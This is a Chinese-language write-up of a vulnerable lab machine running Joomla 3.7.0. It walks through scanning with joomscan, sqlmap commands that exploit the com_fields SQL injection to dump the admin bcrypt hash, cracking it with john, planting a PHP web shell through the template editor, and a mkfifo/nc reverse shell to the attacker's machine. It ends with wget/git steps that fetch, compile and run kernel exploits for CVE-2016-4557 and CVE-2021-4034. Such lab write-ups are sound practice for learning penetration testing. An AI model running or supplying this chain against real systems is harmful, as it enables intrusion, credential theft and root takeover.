考点

1
总结:joomscan工具的使用,cve-2016-4557内核提权或者cve-2021-4034内核提权

现扫一下看开放了哪些端口

image-20230410221753236

只开放了一个80端口

看起来像是个网页,然后进行访问

image-20230410221926196

发现这是一个cms框架

于是就用到了这个工具来查看这个网站是否存在漏洞

Joomla!是一套全球知名的内容管理系统,Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统。

这里需要使用一个工具joomscan 因为最新kali没有 又去装了一下又学习了一下。

(JoomScan):是一个开源项目,旨在自动执行Joomla CMS部署中的漏洞检测和可靠性保证任务。该工具在Perl中实现,可以无缝轻松地扫描Joomla安装,同时通过其轻量级和模块化架构留下最小的占地面积。它不仅可以检测已知的攻击性漏洞,还能够检测到许多错误配置和管理员级别的缺陷,这些缺陷可被攻击者利用来破坏系统。

1
git clone https://github.com/rezasp/joomscan.git 
1
cd joomscan
1
perl joomscan.pl

image-20230410223514173

一些最基本的参数 使用命令:perl joomscan.pl --url 192.168.142.130

image-20230410223612886

发现漏洞

通过上面的 探测我们可以知道Joomla 的版本 3.7.0 以及CMS的后台地址/administrator/ (说明工具还是强大的,爆赞👍)并且还没开防火墙

这里知道版本号就尝试查找这个版本的漏洞

记一次在实战靶机中使用SearchSploit的总结

就是利用这个工具来进行查找(kali自带)

msf也能查询到,但是不知道能不能进行利用

image-20230410224100325

存在sql注入

那么我们就进行漏洞利用 后面的path有利用方法

那么我们就进行访问那个方法

1
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt j.txt

image-20230410224524420

就直接用sqlmap来打

image-20230410224900307

查询到好几个数据库

接下来就是查找当前网站用的数据库是哪个

1
sqlmap -u "http://192.168.142.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]

image-20230410225107342

接下来就是查表

1
sqlmap -u "http://192.168.142.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables  -p list[fullordering]  	

image-20230410225206881

查出来一堆表

这里的话就注重查询#__users

注入查询#__users表 发现有6列 知道列了就可以进行下一步字段的操作

1
sqlmap -u "http://192.168.142.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns  -p list[fullordering]

image-20230410225524368

发现存在用户名和密码

然后进行查询

1
sqlmap  -u "http://192.168.142.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump  -p list[fullordering]

image-20230410225648646

1
2
username:admin
password:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

发现密码进行了加密(还是使用之前用的john进行破解)

image-20230410225935194

爆破出密码 ——-> snoopy

然后根据之前查出来的后台登录就行

image-20230410230119518

image-20230410230145831

登录成功

成功登录进去后,我们开始寻找可以利用的点,最终我们在templates下面找到一个可以创建文件并且可以写文件的地方。于是,尝试写入一句话木马

image-20230410231044168

这里就是一个漏洞利用点

image-20230410231254633

写进来后我们就得去找上传地址了

image-20230410231346635

根据这两条猜出来的结论

image-20230410231557812

成功执行,代表上传成功

image-20230411085918600

成功连上蚁剑

image-20230411090020317

查看虚拟终端发现不是root权限,所以我们就尝试一下进行提权

尝试了一圈发现suid和sudo用不了来进行提权,那么我们就得尝试别的方法了

这里话蚁剑不适合提权,也不好进行操作,我们就尝试弹个shell回到本机

(首先需要明确,不能使用蚁剑提权,因为HTTP是瞬时协议,我这边正提权呢,你那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于上传文件来反弹shell。)

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.142.129 4444 >/tmp/f

这个是php的反弹shell操作

image-20230411090508994

反弹shell成功

接下来整一个python交互的shell好进行操作

1
python -c "import pty;pty.spawn('/bin/bash')"

image-20230411090616944

设置成功

这里由于前两个点提权不成功,那么我们就尝试进行内核提权

内核提权

LINUX提权之内核漏洞提权篇

先进行内核的查看

1
uname -a

image-20230411091229892

1
lsb_release -a      # 查看发行版本

image-20230411091330803

于是就使用searchsploit

image-20230411091513906

这两个玩意确实存在漏洞

cve-2016-4557

1
searchspolit -x linux/local/39772.txt

image-20230411092545805

还会把CVE告诉你

于是访问这个本地的这个完整地址

image-20230411092823114

发现给了一个exp下载地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//将exp下载过来
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

//解压
unzip 39772.zip

//进去到39772目录
cd 39*

//解压exploit.tar
tar -xvf ex*

//到ebpf_mapfd_doubleput_exploit目录中
cd eb*

//运行compile.sh文件
./compile.sh

//运行生成的文件doubleput
./doubleput

image-20230411093124013

这就是利用内核提权

image-20230411093211569

cve-2021-4034

CVE-2021-4034 pkexec 本地提权漏洞利用解析 这篇文章也可以进行利用

image-20230411093533747

测试环境,比上面的环境还要新

1
2
3
4
5
6
7
8
9
10
11
12
//使用git命令将exp复制到靶机中
git clone https://github.com/arthepsy/CVE-2021-4034

//来到CVE-2021-4034目录
cd CVE*

//编译cve-2021-4034-poc.c
gcc cve* -o cve-2021-4034

//运行cve-2021-4034
./cve-2021-4034

总结

学到了几个工具的使用

joomscan —-> 针对joom的cms的

searchspolit ——-> 查找exp的 例如cms 内核版本

john ———> 爆破加密密码

sqlmap 就是经常用的工具了